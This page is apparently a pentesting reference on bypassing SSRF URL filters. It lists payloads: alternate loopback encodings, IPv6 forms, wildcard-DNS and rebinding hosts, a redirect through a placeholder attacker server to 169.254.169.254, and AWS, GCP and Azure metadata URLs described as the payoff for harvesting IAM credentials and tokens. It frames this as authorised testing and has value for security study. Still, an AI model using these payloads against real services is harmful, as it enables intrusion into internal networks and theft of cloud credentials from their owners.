Parser and control bypass reference

SSRF filter bypass

Defeat allow-list / blocklist URL validation to reach internal or cloud-metadata endpoints. IP-format tricks and parser confusion are the highest-yield.

ssrfcloudmetadata
Stable IDbypass:ssrfLast updatedLast verifiedLegacy review pendingProvenanceCurated reference
Compare behaviorA bypass claim needs a control request and a clear boundary that changed.

Stop after confirmation. Do not escalate impact without separate authorization.

127.0.0.1 alternate encodings

The blocklist matches the dotted-quad string; the resolver accepts all of these as loopback.

  • http://127.0.0.1
  • http://2130706433
  • http://0x7f000001
  • http://0177.0.0.1
  • http://127.1
  • http://0x7f.1

IPv6 loopback / v4-mapped

IPv4-only filters miss the v6 loopback and mapped forms.

  • http://[::1]/
  • http://[::ffff:127.0.0.1]/
  • http://[0:0:0:0:0:ffff:7f00:1]/

DNS-based (wildcard + rebinding)

Wildcard-DNS services and TOCTOU rebinding resolve a public-looking host to an internal IP.

  • http://127.0.0.1.nip.io/
  • http://localtest.me/
  • http://make-127-0-0-1.sslip.io/

URL parser confusion

Userinfo (`@`), fragment (`#`) and backslash tricks exploit validator-vs-client disagreement.

Redirect to internal

If the fetcher follows redirects, the allow-list only ever sees your benign host.

  • http://YOUR-SERVER/r?to=http://169.254.169.254/latest/meta-data/

Cloud metadata targets

The payoff once SSRF is confirmed - IAM creds and tokens. IMDSv2 needs a PUT to fetch a token first.

  • http://169.254.169.254/latest/meta-data/iam/security-credentials/
  • http://169.254.169.254/latest/api/token (PUT, IMDSv2)
  • http://metadata.google.internal/computeMetadata/v1/ (header Metadata-Flavor: Google)
  • http://169.254.169.254/metadata/instance?api-version=2021-02-01 (header Metadata: true)

Version history: normalized permanent page created 2026-08-20.